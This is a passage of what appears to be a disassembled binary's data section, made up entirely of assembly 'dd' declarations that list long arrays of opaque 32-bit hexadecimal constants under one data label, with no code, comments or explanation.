		dd 16A95F47h, 0AD06728h, 435D0F6Bh, 0F40F048Fh,	0AE44DF19h
		dd 0E9C299ECh, 0A7770951h, 127818E6h, 0DD9E1C83h, 0F24F1C1h
		dd 0D3C13D7Dh, 626192B1h, 0BA54C160h, 80D30B83h, 0EDD1DFC3h
		dd 5C5A63h, 5867BB26h, 0CB815EBDh, 0FB6B1304h, 4BC0431Bh
		dd 90227049h, 5B4226BBh, 0D54AC5BEh, 0A68FBEBBh, 409ABD00h
		dd 684D237Ah, 768C204Ah
		dd 167BA455h, 8C5C7AE9h, 709BD4Dh, 7576DC08h, 0D91235D8h
		dd 0F1AB3AE9h, 86C52938h, 95D32E01h, 520F70F4h,	652B8155h
		dd 0F02E56F8h, 243ED7FEh, 1FE4CA9Eh, 4FBB0CF2h,	0B8707DE2h
		dd 29C71E02h, 4AE1F8E9h, 0A95AFDCCh, 0FEF17B20h, 0BD2D5206h
		dd 137DE891h, 0FB61E94Dh, 0A0037C9h, 0E114B768h, 0E40EF86Eh
		dd 76A6F012h, 0FD198D42h, 7B0570EFh, 4DE90CE5h,	133A3675h
		dd 0E253AE58h, 1931B80Bh, 8582506Eh, 41A34EDBh,	7204DFCh
		dd 25F46597h, 0E3092DF8h, 0DF43AC22h, 0E97781FAh, 8524914Ch
		dd 0D9AD1E70h, 8F368B0h, 0D24075AAh, 42261748h,	6425740Fh
		dd 0A7609DBh, 0F773D16h, 0A9C8C43Dh, 0BEE8EEBh,	312A6568h
		dd 2A34C1C1h, 5FA6EC50h, 0C2F496D2h, 18BF0CC0h,	914B3625h
		dd 0D001694Ch, 307D265Ah, 2D0BD0E3h, 85447B48h,	17E10959h
		dd 9C88E6Ah, 0EA389AE9h, 5FF05F81h, 5482FC95h, 340CE912h
		dd 4A89BFF4h, 9F4DE8E0h, 1C2BDC8Dh, 0D6D1FD1Ch,	7E40F517h
		dd 0C4376BADh, 5155A91Bh, 17B91AACh, 44F50062h,	0F9EEC073h
		dd 56EA752h, 58AD0B01h,	4754E991h, 53311625h, 599CA4F2h
		dd 0F62FAD99h, 2A0E0114h, 0BA683C3Dh, 5F44CF2h,	5466675Eh
		dd 0D08BBE31h, 3D045A4Ch, 0FA686203h, 4F46B08Ch, 177EB8A8h
		dd 0A8E12BE9h, 69A99230h, 5B773841h, 48D527ACh,	4DCC683Dh
		dd 0F684467Fh, 0CA810072h, 0E7EA3576h, 9978EDECh, 1509351h
		dd 0D258CE0Ah, 0BCED002Bh, 29E63010h, 6EDDEA0Ch, 3D9E3698h
		dd 0DCD3EF0Bh, 0E02DE7BDh, 152CC10h, 318BF050h,	58C0673Dh
		dd 358F073Ah, 0F6636285h, 324CB3E9h, 0D7A25E29h, 27DDD3F5h
		dd 97681AB8h, 0E2374A4Fh, 2DD656E9h, 880F4BDBh,	0DA77C4EEh
		dd 0CBDE1AE9h, 0EFE6B00Ah, 5F9F95F2h, 0A0E0A718h, 0EF0090BAh
		dd 0DC78106h, 0BF71B786h, 0C2BF0058h, 5C9D251Eh, 430DB4EFh
		dd 0A6A80C4Fh, 0CBFAFCC5h, 7D646BA6h, 0E9271D96h, 0DE7B09CDh
		dd 0DB57D2F7h, 0B5712BFh, 0A86A196Bh, 53B2A702h, 38F5B081h
		dd 2640C67Fh, 630973E4h, 0C3D6F724h, 3C0A507Ch,	25C8E4A1h
		dd 0BFDC2126h, 2EEDC201h, 0CBFF3E37h, 0EFBB1DAh, 9222407Fh
		dd 2141E48Dh, 0E9F9D761h, 0BC3A4437h, 0E4C4C92Fh, 0F88A2223h
		dd 65E7CD05h, 36801819h, 0C042106Bh, 951DF0B7h,	0E9F831ADh
		dd 6A1A6C25h, 93F875D3h, 5F2089B0h, 20502C9h, 686A4859h
		dd 0A1FE1E52h, 6541899Fh, 19143F43h, 83390E5Fh,	0F021E893h
		dd 6D9E4C49h, 0C5125F1Fh, 27896CAEh, 0C7456760h, 25D26319h
		dd 78D62902h, 71910820h, 5768FD61h, 565E67Fh, 470E7946h
		dd 417568E9h, 0F68A3BC1h, 3D75BA17h, 2F9EF920h,	0A2B14556h
		dd 9FF170CAh, 3E0912E7h, 0E2F177BAh, 14D9CB6Fh,	0F3801CD7h
		dd 0F7CBC735h, 11DC39FEh, 3180B358h, 7606EEEBh,	0FFF13B28h
		dd 0BE0650D7h, 0B8C8A894h, 24B7F9Ch, 3337357Ch,	0BE617291h
		dd 0C5918929h, 0E049F758h, 3773756Fh, 502D7CFEh, 25BCE6DFh
		dd 7BDC643Eh, 0CFE17E72h, 0D0CDF296h, 0A0731089h, 13D0DE7Ch
		dd 0CB6651C3h, 0BB485530h, 1D646A04h, 5C814DA7h, 72CD3D45h
		dd 20D27480h, 34E95A73h, 57A39A4Ah, 902C092h, 0F58F70Bh
		dd 620975F6h, 7F5B251Ah, 0BB1059h, 8604CFDDh, 945752E9h
		dd 0A52862DCh, 11B0D394h, 0AE3BB303h, 0E407E945h, 4F7BA4F7h
		dd 5B9809BCh, 0D044E1DDh, 50C91F72h, 0B900B064h, 447312D2h
		dd 0DA7F181h, 0C129401Ch, 0E39FE762h, 407A0836h, 30183709h
		dd 39E0F42Ah, 0E168C284h, 0EF30FE55h, 0FC95448Eh, 7AF02AE9h
		dd 0F3BEB2B9h, 0E37F82D1h, 87462D01h, 32B566F6h, 7CBCA5C2h
		dd 22804B2Ah, 29804F01h, 0AE8D44F9h, 68E07DACh,	0B8990728h
		dd 0E937E8A0h, 0B2135A60h, 4D10B982h, 0D8280E80h, 0B7534904h
		dd 0EF808B01h, 0C0C7FE8Fh, 0ABE307D5h, 14CFD9FCh, 17450DA4h
		dd 2BC9EEF5h, 13914FD0h, 0EA740150h, 0C100634h,	52505A08h
		dd 1C110508h, 63243839h, 0F83734BBh, 0F5532F0Dh, 0A2805229h
		dd 24421EFBh, 0C0AE7995h, 114E630Bh, 0AC205883h, 0F199F44Bh
		dd 3B1D8802h, 61CD012Fh, 0A073768Ch, 0F5755B78h, 0A6847EACh
		dd 1FBB4620h, 0BA60B21h, 0F36009E9h, 9B24D6B8h,	7809A83Fh
		dd 22AE9CFh, 50AF876Eh,	3F052E9Eh, 4909CC96h, 7D448152h
		dd 0B46A6FF9h, 304B706Dh, 0DD3D8EA3h, 0BB735C12h, 276830F4h
		dd 10461047h, 0D45ACD2Fh, 296678CAh, 2D12D073h,	772D638Ah
		dd 68FC57F5h, 0B928760Dh, 0B802975Eh, 36DD05BCh, 0C693E7E9h
		dd 1EC2B1ADh, 24C1CB2Eh, 0D302C25Ah, 5F2E5664h,	13093E78h
		dd 4E2838h, 935966FCh, 0B6D89718h, 814906C0h, 580822C9h
		dd 0F100B2B1h, 6D3455A0h, 5928CF09h, 960BE350h,	8225F551h
		dd 0D4313235h, 0B4F4A788h, 0D99F97BDh, 0A5C965FCh, 278B84h
		dd 0EC6D5F68h, 0BE5A0228h, 1B7DB641h, 2909F05Ch, 5A16FFF7h
		dd 5959742Dh, 0E22C4459h, 9BE909C3h, 67515731h,	6DBB5A16h
		dd 0CCA37F2Ch, 6A24EAD3h, 4BB547F0h, 101FA765h,	0C04B5109h
		dd 63C7F5E5h, 0A57B5D3Eh, 16E20CF4h, 4E13133Eh,	132E176Ah
		dd 8CCDBED6h, 0F610726Eh, 59145974h, 63C07CEh, 9AC2285Ch
		dd 5999576Fh, 626CEE8Ah, 2C3A4E09h, 709D741h, 5A795A57h
		dd 0A533A85Dh, 0E8D520AFh, 68E8310Bh, 3035A82Ah, 7008EA91h
		dd 0FC3014E0h, 3E7C009h, 2C683F80h, 0F83A284Bh,	0CEE91704h
		dd 0DC5CFAC2h, 5202E260h, 5AC59BF6h, 5635009Ch,	0AE4BBD2Eh
		dd 62AB51C4h, 0EADD4CD5h, 311F185Dh, 0F2B6A9B0h, 3ED37DF8h
		dd 3C174A6Ah, 89D9B252h, 52107458h, 0C742FEF4h,	0C484F484h
		dd 0E4688554h, 307ECFA5h, 781EE325h, 29F30BBDh,	69DE3499h
		dd 1ABB80BCh, 0FD01FE5Ch, 0C49127E9h, 477BB923h, 31C34703h
		dd 0D940929Ch, 0B26E244Bh, 5FED0C1h, 6B237AA3h,	0D9F76C91h
		dd 0B1BEE543h, 0F9206EF6h, 0D860820Bh, 31BF2D89h, 5F02586Ch
		dd 898F71DFh, 58C95168h, 2B193582h, 20C498A3h, 69A71629h
		dd 5FD25728h, 6446A403h, 0CB8F713Ah, 204E89FFh,	2008A51Ah
		dd 296E96h, 0BE56DF01h,	190451C6h, 693DE93Fh, 1F20C740h
		dd 53B802D8h, 3609241h,	0A97E9D2Dh, 0C4F95A13h,	13695111h
		dd 7290472h, 0CBE2486Ah, 30757427h, 9BA5E498h, 21BAE04Eh
		dd 89B6F1A8h, 7D665E26h, 0E8927D8Eh, 2B9C1072h,	9670582Dh
		dd 0A561B300h, 5FFB891Bh, 0B2DF4B31h, 68A0CB14h, 12AFEB24h
		dd 0EF3FE630h, 80180F1h, 0E87F2C8Bh, 4FE9A10Eh,	0E30C4D6Fh
		dd 5212C0Eh, 6058BE35h,	7DACBA05h, 467A3EFh, 13717C5Ah
		dd 2642BA80h, 2049B87Dh, 16C1F85Dh, 9F77E5E7h, 89D1057Ah
		dd 75D4C2CAh, 306A5BF6h, 47FE6885h, 0CB70D8BFh,	160E6F17h
		dd 0D6AA0625h, 0A0406492h, 2E682F55h, 2FBF18DDh, 106D0416h
		dd 0FA40E956h, 0BA2D1312h, 1031E63Fh, 95BFAF3h,	0BEA09E2Ch
		dd 3348E781h, 0EF258097h, 1426B6D0h, 0A0FA2903h, 2852CA02h
		dd 0FE583B72h, 0ED42F22Eh, 50FC6018h, 0C7A90B8Bh, 8970EEE9h
		dd 2C805B4Eh, 0A92E4F6Dh, 6A8F5EAAh, 0B9F6D931h, 40860106h
		dd 0C829D473h, 4E9EEE8Bh, 83E1D559h, 0D83E02C3h, 105AC18Bh
		dd 0D9B72EACh, 31249609h, 0DC8EC5Bh, 10FE2033h,	4B67B23Bh
		dd 27470BA0h, 0AE5053EAh, 7668A224h, 0D87F8951h, 7A20E96Eh
		dd 21CBA020h, 71A52412h, 1D081782h, 508903E8h, 0C042553h
		dd 62E76E2Eh, 77DDD580h, 47E5E28h, 16F34B9Bh, 1AB12B04h
		dd 0D2820416h, 0A88EBC44h
		dd 5E53926Bh, 3429EB54h, 0F2BBCC04h, 606ECB97h,	25C38038h
		dd 0BDB5ACBh, 1A24E50Bh, 0DC18880Ah, 4B416884h,	65C147B8h
		dd 2FF4C480h, 1E2E9BEDh, 70AA0EA5h, 1B3B798h, 53DC282Dh
		dd 0ECC00696h, 0AA7F3207h, 1045E748h, 0BC4F166Fh, 5F005A6Bh
		dd 0F099A4BFh, 71681239h, 2830FE60h, 1858613Ch,	0ECEAD126h
		dd 32F3B38h, 0DAE7E02Ah, 2ED34Fh, 51B2E71Fh, 41F877D5h
		dd 5D0FD1BEh, 830489C1h, 0AB6E323Ah, 7D8CFA05h,	0D9D5C889h
		dd 21A58DF3h, 7277C34h,	77BF5D59h, 0C078F660h, 82BE4FDBh
		dd 68FF4F03h, 0DB1FBAF2h, 0BFB05EF8h, 2916FDABh, 0CBAE5FFEh
		dd 0DAA21742h, 5F1E8BBFh, 7FCFF6C1h, 0A8C4CD28h, 4A85B2A4h
		dd 0E6E254F8h, 0EE078DE4h, 6E563CB6h, 66EFCE60h, 0FF764F04h
		dd 4AB18900h, 0BD218C70h, 7F098472h, 0DD501828h, 0DADFFE89h
		dd 0B0477117h, 11024CC0h, 49DD7701h, 70FA0127h,	0BA836802h
		dd 4DB760CFh, 0A7E45C46h, 0B9DD0512h, 5B01C9A9h, 48902498h
		dd 2BBD407Bh, 0FA136671h, 0FBE8E931h, 1A8BEAB5h, 0B20A45Bh
		dd 28ED8D4Eh, 2C7CC090h, 8CB51D3Ah, 0D7945259h,	36CC1913h
		dd 7D1B1F01h, 0E03A0AAFh, 805B3E6Dh, 793CF1BCh,	0AF174F92h
		dd 0B8E9FCC8h, 4536B43Dh, 50C9AF56h, 95DEC740h,	81DF00E1h
		dd 0A65964C5h, 8B70170h, 6E260845h, 0B23C7270h,	7E225A9h
		dd 205932D5h, 0E384F206h, 0F7195021h, 87884008h, 2D909CB0h
		dd 0CEAED04Bh, 7F271317h, 680BDDF2h, 69B07870h,	0F78A4F6Ch
		dd 3CF57712h, 0C9E913C7h, 7BC9CCAEh, 25518F49h,	94079CFh
		dd 0A2F6A0BEh, 4CB666EFh, 12D7FE16h, 145092Ah, 3A15304Ch
		dd 65D86A35h, 0A8140BF3h, 77D83107h, 3F9BEE04h,	84AB41DEh
		dd 3BB4ED67h, 3DAE82F6h, 59F2290Bh, 281686h, 59CE08CFh
		dd 9A596851h, 0FDE90938h, 405B7522h, 64086841h,	12D8223Ch
		dd 794BD33Eh, 0F5003BF6h, 499433ECh, 4D4A7C68h,	5412DBE3h
		dd 81C4F996h, 4C7FBFBDh, 9F19D920h, 0E40E746Ah,	48FCEB4Bh
		dd 24BBF36Eh, 5121FEC1h, 1012CB5h, 0B80520CAh, 0F111DC65h
		dd 0E8B6CC0Bh, 2473256Bh, 3E4F11C5h, 51BA0B09h,	6E8FF800h
		dd 0CC164E0h, 16FC264Bh, 7A8B042Bh, 0C1BE0070h,	9D775733h
		dd 1F56868Bh, 0E1ED0BA0h, 41813168h, 7845D06h, 56B8E3B1h
		dd 0EA8040C5h, 0D7548DFh, 62960CE9h, 1EF7923Ah,	1B719920h
		dd 813F008Fh, 0D96427F3h, 17B82949h, 0A7BF5702h, 0D79987A5h
		dd 698F8Ah, 0B2E50BBh, 0FF4A7EE9h, 601ADDEh, 0D1414A09h
		dd 8A5E21EDh, 0FE406C7Ch, 3487B498h, 0C3281CA4h, 0CE31F58h
		dd 0F1CB9CDEh, 0BB351F09h, 0F0AFD865h, 4FF9F2E6h, 2056FD5Bh
		dd 75C501D7h, 4FE9156Eh, 0AF893A26h, 946A35E0h,	7D68863Bh
		dd 9F2F7D3Ch, 7C2FA997h, 4416015Eh, 609709Bh, 0C7D4C018h
		dd 2605A356h, 2009D8B5h, 531732CDh, 4EAB551h, 5A11C95h
		dd 67F4C229h, 0CB5F4E5Ah, 66A608Ch, 153F4835h, 0A19E4AE9h
		dd 0D4566D9Eh, 6082D8A7h, 39BB5B1Fh, 68240D0Eh,	9718E957h
		dd 0BFD420BFh, 0BC2020ECh, 0BC095A16h, 0FE8184F9h, 0DEC9B8AAh
		dd 0FF2DA98Bh, 5B5B664Eh, 26CF5A80h, 0E9530CBFh, 2D2865B9h
		dd 1A03E50Fh, 0DE18450Ah, 4E09E47h, 0AEE42CD0h,	520505BDh
		dd 0FF5DA771h, 716A484h, 7FD92CBFh, 698F3612h, 5F8707F0h
		dd 47AB35D3h, 6EDDE9BFh, 97DEAF12h, 0A8E3E913h,	0CEAA4EEDh
		dd 5BF44A26h, 0D0C317FEh, 0ED9F8EBh, 0D4F3081Ch, 0BFADD2A1h
		dd 0C3205838h, 0E9B62C0Bh, 0BEEB20D3h, 2FA2586h, 0C0E6810Fh
		dd 0DC80A64Fh, 7B3B6DCEh, 22C69ECEh, 5D1CD7F2h,	0BB7F27E0h
		dd 3C027782h, 3AE86187h, 0D7050B44h, 2DF00125h,	0E5210712h
		dd 0EA04D10Fh, 0A1ACDA84h, 183AAC4Fh, 211AC393h, 0F531EECDh
		dd 2B25293Fh, 0E9C209A3h, 0FCA99BA6h, 0B004E50Fh, 0B331FF2Eh
		dd 617D7AF3h, 4629C9DEh, 9E035E4Ah, 37DAD3B2h, 99252DDCh
		dd 77F15DECh, 0B692013Fh, 21F3282Ah, 0C720F2E9h, 7B3FC547h
		dd 399D2DA2h, 681642CEh, 0C8B30F1Dh, 66B4BB00h,	0AAE92C8Ch
		dd 5A8A1C4Bh, 4A6AA710h, 68576280h, 561BBD53h, 0F86C35C0h
		dd 2F8B4C4Eh, 2DD00C10h, 9EAC485Eh, 5FEF1B6Fh, 50051243h
		dd 9CC9B2E3h, 6A22B1EBh, 61622ACh, 90C062BFh, 0B85FCEA4h
		dd 13C6186Fh, 4EB45066h, 0A4DEB0EDh, 185F991h, 898056C2h
		dd 9E574F2h, 1EE9597Dh,	665C3370h, 5BF41D8Fh, 3E0E495Bh
		dd 0C35CF8ECh, 40405E76h, 79D7EF81h, 9DBA54F9h,	1250DA97h
		dd 0AAB4A3E9h, 40F4AB9Ch, 0E9A15B88h, 7B210Ch, 0EAC0D8EBh
		dd 0CAFE071Fh, 0F8553979h, 0E23CD37Bh, 7CF2A606h, 55D58809h
		dd 3E324409h, 53519990h, 0E952B71Ch, 0B2EA5DD2h, 7DF88D58h
		dd 5C06BE02h, 5EE16224h, 654C550Bh, 0A5880096h,	0DBB80130h
		dd 0E8370106h, 6FB9C602h, 54646847h, 0EE5A34FAh, 0DF946432h
		dd 27C0D8E8h, 592F7913h, 562F44B8h, 0A55833FCh,	60910119h
		dd 65F9C6BEh, 85A02AABh, 5EF52C31h, 4C42269h, 115953B9h
		dd 4191FF0Ah, 0F76F06B0h, 5FFA0496h, 0D1201487h, 0CB0281EBh
		dd 0C0A341Ch, 0E9224083h, 12E6BAAFh, 0AF03E8C1h, 18166B35h
		dd 0FB3ED2EEh, 0BD04DB58h, 13BB0D47h, 5808B2EFh, 62350A8Ch
		dd 0D409B83Dh, 370B6893h, 4C6F2D27h, 0BC7CB742h, 5110F47Ah
		dd 59999634h, 0FD0A29AFh, 0C1638A2Ch, 800BC4E6h, 0C06B7E51h
		dd 7AE017BBh, 5A25E917h, 269E37BCh, 0EEB530DFh,	0BA2720DBh
		dd 12BE5C67h, 5B20C1D0h, 0E56B788Fh, 7E032782h,	560288A0h
		dd 0C9F712Dh, 0EA5D20D6h, 2B621A0Bh, 5E897816h,	294086F2h
		dd 9D1C5820h, 0E49500DDh, 0FFED36F2h, 4345827Ah, 0B9575A03h
		dd 5587913Bh, 0D6552DCEh, 2909E226h, 84726462h,	0E16C208h
		dd 9F47DAA5h, 0DDB2B7F2h, 5C90DB39h, 0F5907220h, 354054BDh
		dd 4CA1EA0Ch, 7621F942h, 0A947238h, 995C0CEEh, 37961A2Ch
		dd 0C2BE6022h, 5B5915B8h, 83C49827h, 765F090Ch,	12923C44h
		dd 2514CA3Ah, 973CD057h, 0AEA58245h, 1BC128Dh, 0A0E8E5Fh
		dd 0C8F461E9h, 4BD2489Dh, 66688B43h, 18F120Fh, 0DA6AEF4h
		dd 20A1BC5Ah, 0B2B99253h, 0FD452F8Bh, 5A257A67h, 0E95109B1h
		dd 810392Fh, 1683A8CFh,	0EB011A0Ch, 4DE21227h, 98C966F5h
		dd 20E10A38h, 9F27BA6h,	0DB55CFA5h, 6CD83D04h, 2A69A54Eh
		dd 0C21C52F7h, 1ADD2740h, 3BA61945h, 5BCBE04h, 6B148AA1h
		dd 5C3F8DB2h, 0EE5F182h, 5C5D4EA4h, 0FDA54E28h,	4822D05Fh
		dd 2E4E430Ah, 70008E1h,	99B95AE9h, 42EF0CB2h, 184CFC63h
		dd 2BC0A4C8h, 817B16EBh, 0C510B9C3h, 613DA301h,	6F322D00h
		dd 804AFD3Ah, 0D8D9A95Fh, 9F58C129h, 0E401DA61h, 484BABE9h
		dd 13052B5h, 893C4BD2h,	78F1E1E8h, 0CB93CE9h, 0E675596Ah
		dd 48091DB4h, 0EEE1812Bh, 800DB25Eh, 85360518h,	9F76E919h
		dd 3E68195Dh, 0F84FBB6Ch, 0BD550113h, 5E9E18EEh, 97B9F82Eh
		dd 0CE16FEh, 762ACDD0h,	0E4ED330Eh, 1B2C2573h, 0AF019CDDh
		dd 12B3767h, 6062E9D8h,	0ED25587Ch, 704B7718h, 41DEC3E0h
		dd 0B0C40786h, 5F55A042h, 559689F8h, 0A6CE210Fh, 70E59CAh
		dd 0AD539EBFh, 0C463A36Ah, 0C8F23B3Ah, 0EA02247Ch, 6BE21B13h
		dd 398FA018h, 6324045Bh, 0A201430Fh, 215C8E11h,	0C4207D21h
		dd 8169006Dh, 8EEC13Ah,	0CA4A58E9h, 511C9ABFh, 8F82C160h
		dd 2442F181h, 30C050A4h, 7CC214BAh, 16C97661h, 0B8445F26h
		dd 0CBDB05Eh, 0C60F5B37h
dword_4F7844	dd 2D0407BFh, 0B5ABC986h, 9B7DC1BAh, 0B166233h,	72877C42h
		dd 461E1C02h, 1E96614h,	0B60D6137h, 2D663831h, 4AA114FAh
		dd 0C417E856h, 0AE5694C3h, 4A98498Ch, 3AD1B52Eh, 0F17B92B5h
		dd 10BF2995h, 0C44BA212h, 0E3ADBB3Eh, 0FFB0FA92h, 20174A74h
		dd 8821BC9Eh, 3E225D50h, 0FF31345Ah, 0AA2525F5h, 0E7D4F97Ah
		dd 0A37F694Dh, 6D3E342Bh, 0A9BCD316h, 0E79704B5h, 3A45CD1Bh
		dd 0CDAF5F3h, 0D75ADFFCh, 73A05E66h, 0D30132B3h, 56FD0121h
		dd 922C9EE9h, 2FF4A2Ch,	1D841572h, 55FD31C0h, 2D81A094h
		dd 3071773Fh, 5D72822h,	0E35FEB3Bh, 5BB41655h, 0C4211B28h
		dd 2C752Ah, 5348F381h, 434925CEh, 67C505Ah, 2A00F2E6h
		dd 1A2D0355h, 190E6C5Ah, 7316A4E9h, 504330F8h, 0FE13B00Fh
		dd 3FE4C5C0h, 0EB802590h, 0BEDF96D1h, 99A99999h, 3AC360E3h
		dd 8923617h, 731B3FB0h,	4FADC86h, 803B6F3Dh, 0A509717Dh
		dd 43D434Ch, 146A5DC7h,	0DEE23801h, 87092F42h, 20028209h
		dd 0B9A7A67h, 3D034C66h, 2E60284h, 41D3F65Ah, 0BA920E13h
		dd 0A73A8D50h, 0D1825FEAh, 9C5E22E9h, 6C31B801h, 0AB704477h
		dd 4F31B4F9h, 0BA6E1704h, 8709F35Fh, 0C5EB84DFh, 0A2101614h
		dd 37FB5F2Ah, 0E723C248h, 8A830DF6h, 0DA07C44Bh, 23274C1h
		dd 24088BBh, 0F6EBDD61h, 75D20977h, 0C2F55AEAh,	99FE00h
		dd 0B670FDE2h, 311C80BBh, 62F2662Ah, 0DFB4ABBAh, 53090814h
		dd 0D9079E08h, 58C52870h, 218BBD1Ah, 685C4B20h,	59BD47C0h
		dd 1D9A021h, 17EE4BE8h,	9CECB3E9h, 7984AF63h, 5482B12Ch
		dd 88365145h, 542F7B5Bh, 17E44295h, 8948B8D5h, 5DADC9EEh
		dd 961C5B75h, 0C742BA21h, 5F5C9F68h, 0A209ADEDh, 0C19E4846h
		dd 90144A15h, 78C9E1A8h, 7519B33Bh, 0D730609h, 808D891Ah
		dd 0C03EF13Eh, 5E404AD7h, 0B45FE5B5h, 23C6688Dh, 6D0925B5h
		dd 89D3C7F5h, 7A12B120h, 444A8740h, 449075E2h, 0BF009CB2h
		dd 732835FAh, 4EE7C14Fh, 2B5CAE07h, 0F5AB55D2h,	0D5122081h
		dd 173FE6Bh, 72880C8Ch,	0D03B65EDh, 7337E29Ah, 0F0F3025h
		dd 1A3BED9Eh, 0A7E4F52Bh, 0C4A66308h, 0F458BBD3h, 4C611EBh
		dd 2C90A392h, 0A01DE256h, 0BE506480h, 5ADA356Ch, 3F1D2DB7h
		dd 4F6009F5h, 9B0A60B1h, 7B68CAE1h, 46F0F58h, 4FFD1408h
		dd 5D2D1A82h, 6858AAF4h, 2D50EF1Ah, 9DFDDFE9h, 924A71F1h
		dd 0C3048928h, 0ACBED3B8h, 2DAA9AAh, 57FA1F77h,	6F96F929h
		dd 2A55E370h, 0B5EEFEBAh, 0E9860047h, 4DD5E18h,	0E24154C3h
		dd 2DF5FE5Dh, 7E4142D6h, 75ED82EAh, 12D506C0h, 1E5B5D29h
		dd 3DFE4F3Ch, 6ABCC13Ch, 0C13790F6h, 17D9D396h,	0A7EBA73Bh
		dd 0EE0DE23Ch, 4B78FABBh, 4B80A719h, 929E39BFh,	0C1AAB80Dh
		dd 3A4429A3h, 5CE96020h, 0EE8DA45Eh, 4E5740A5h,	35414F90h
		dd 874BA06Fh, 0C9CB2BFFh, 12140500h, 0E8012003h, 0E9072D50h
		dd 21F1824Fh, 94E3A26Fh, 4E913F7Eh, 1213BCF2h, 8C45DDAAh
		dd 404058B8h, 431C05AEh, 0A090E92Fh, 5071688Eh,	0E5F4189Dh
		dd 68B09748h, 3E2F38E0h, 0C1C203h, 0C1C722EDh, 0E2E916FCh
		dd 53F02831h, 9F1576BFh, 0B87D2F83h, 84BF5769h,	0D0090190h
		dd 5F3C673Ah, 0EEDD9B92h, 0E911808Eh, 0D1174AC6h, 53220BFEh
		dd 7BE978AEh, 5175C209h, 39004B0Ch, 30F5549Dh, 5B50F9BCh
		dd 0F9AF4DE9h, 4444AF4Ah, 0BE00D5EAh, 238644BAh, 5E6C116h
		dd 56613301h, 0DE680809h, 38995F27h, 15D62B2Dh,	8CD0A31Eh
		dd 0D716BE13h, 0EEE749FEh, 0F5E17AD7h, 256B44F6h, 0C3C53573h
		dd 0EC45E30Ah, 0FF61A4B9h, 94B55160h, 0DCCD51FEh, 3533002Eh
		dd 63C813E4h, 40099A97h, 0E4BAAD7h, 7CE94243h, 0B17525BCh
		dd 718438DDh, 0D8183F68h, 0B00B95Fh, 0DBF729BEh, 12C26856h
		dd 0BC210F16h, 98782E37h, 0C1621F43h, 53F14317h, 0D9E668DAh
		dd 40183D47h, 0EFDEEE35h, 0D72AFBA6h, 0CE6895E9h, 0B980ADCFh
		dd 3B6295E5h, 48BDBB4Ch, 0BFB0E9C5h, 615B2602h,	289A4541h
		dd 60C5A775h, 0D4289E47h, 0EEB0C274h, 0E1C12449h, 91C90130h
		dd 0DB672237h, 5E1998C8h, 4C8334Ch, 0CCBDEE74h,	3610D0E8h
		dd 0D8A85F46h, 524B8B05h, 0F4AC8075h, 2A600354h, 1A733B40h
		dd 5939E09h, 0AEB189D5h, 662467E2h, 0EB8085D9h,	0E2ED0969h
		dd 77410212h, 0EC976EBAh, 0EBB72599h, 60FB27BAh, 318E6D7Eh
		dd 800ADA95h, 4CECE908h, 0BDE2DCDh, 1E48BF09h, 0E465785Bh
		dd 0B1BEC296h, 0F518AD30h, 0B0D03C09h, 7629B727h, 2F2BCA4Ch
		dd 1CD79B0Bh, 0BE664FCBh, 0D43EFB4Bh, 0BFD92FB2h, 254788EEh
		dd 8612797Eh, 171963F4h, 13769B51h, 0F695FBC0h,	0E78EC2FBh
		dd 0D75A3DDEh, 0D4BD6B94h, 0EB82526Ch, 0FD271B81h, 73605472h
		dd 0A9AABD3Dh, 0B2CED2ECh, 3F39113Fh, 7341421h,	7285FF01h
		dd 0F92B412Bh, 0C0BF4EFFh, 0AB6B5614h, 95A3002h, 63535BD9h
		dd 484491C6h, 6A079288h, 0D88BF03h, 0F781D86Bh,	800DD68Ch
		dd 0E95756B4h, 3B71465Dh, 9222554h, 700B7E85h, 1326D605h
		dd 0D8139BDCh, 28804600h, 0B7463112h, 0C12EBCC4h, 0D613A4EEh
		dd 66906101h, 0D54035A4h, 601E5615h, 0FC2A4896h, 0F028297Eh
		dd 9584072Dh, 4ECA4720h, 7C8BE359h, 0E53AB927h,	13EC32EAh
		dd 0BF0E20Ch, 135F63Eh,	29A520D5h, 0F37B2B61h, 6121E9D8h
		dd 0ECC12D6Bh, 9C9F87Dh, 3EF4829Dh, 3CD659BDh, 0F41D5B72h
		dd 595ECB03h, 0C0813E0Eh, 7C5352Dh, 379327E9h, 0B8230EC8h
		dd 89E43E1Bh, 8EFC82Eh,	491C017Ah, 0BA68DF01h, 0C5E87872h
		dd 27F8316Eh, 81C13884h, 380FB870h, 619782BCh, 7CAC89A6h
		dd 490F39F2h, 0F6E47D80h, 2C81C29Eh, 0EE9AC875h, 569813D8h
		dd 7EFEA15Ch, 0A1CF87B5h, 0F3605078h, 8702E7D3h, 13090DD0h
		dd 0E07ED871h, 81EDBBF1h, 5DE13E5Eh, 13B851CEh,	3F5FB179h
		dd 0C1BB8F34h, 7F88F73Ah, 0E9B18BBDh, 0EBA87A57h, 215453C5h
		dd 6CA76EB4h, 0A9B89290h, 0AAD3476Eh, 89EF5F21h, 5EC8A76Ah
		dd 800E2BF8h, 0C364E7ECh, 1092B83Dh, 4A514BF8h,	0B9A53F88h
		dd 58C18802h, 13545F5Bh, 254C8870h, 891A0187h, 0C09D93D8h
		dd 909D415Dh, 33B12F9Bh, 5C0FB8D9h, 77EB4B52h, 1E553E09h
		dd 7B1A251Dh, 6812E7E4h, 83779D5h, 8F3D9280h, 0EB32B071h
		dd 0F8A51979h, 2FFBD43Fh, 2F107940h, 0B3B64CE8h, 72C4DEBFh
		dd 637C55Fh, 300E7DE9h,	8A7049Dh, 8BF07EC0h, 4E1E7F31h
		dd 6140EEA0h, 334D74E2h, 0B7D74CF7h, 957D8026h,	5F2F9AF8h
		dd 7CB79494h, 875AC19Ah, 28BA2F3Ch, 0DC38E93Dh,	0CFEF4A44h
		dd 288434ECh, 2DE18EBBh, 9C214050h, 0AF0091FDh,	0C3FA7D0h
		dd 242CDC2Dh, 0BC32D153h, 0FEDC5513h, 779CB8C0h, 0A4645C8Ch
		dd 0D98AE909h, 0C2085157h, 2C03570Dh, 0CAF8835Eh, 2833744Bh
		dd 0BFF57B9Dh, 0B9600BF6h, 5F9244CCh, 2AFB86Ch,	2837BB53h
		dd 1549DD4Eh, 0E06DC0C3h, 3281C94Eh, 133EF1E9h,	0D496F9FFh
		dd 6A0F0547h, 0FEC2128Eh, 0FE590670h, 4AA0D349h, 93F65EAAh
		dd 5364040h, 0D139F517h, 10950BCh, 465E81D9h, 2875F314h
		dd 0CB90233Fh, 6532EB8Ch, 0B0E87855h, 706E0B41h, 315020FEh
		dd 4004B180h, 0FDC05028h, 0B51D5A9Dh, 0B0D6BBE0h, 62A5F189h
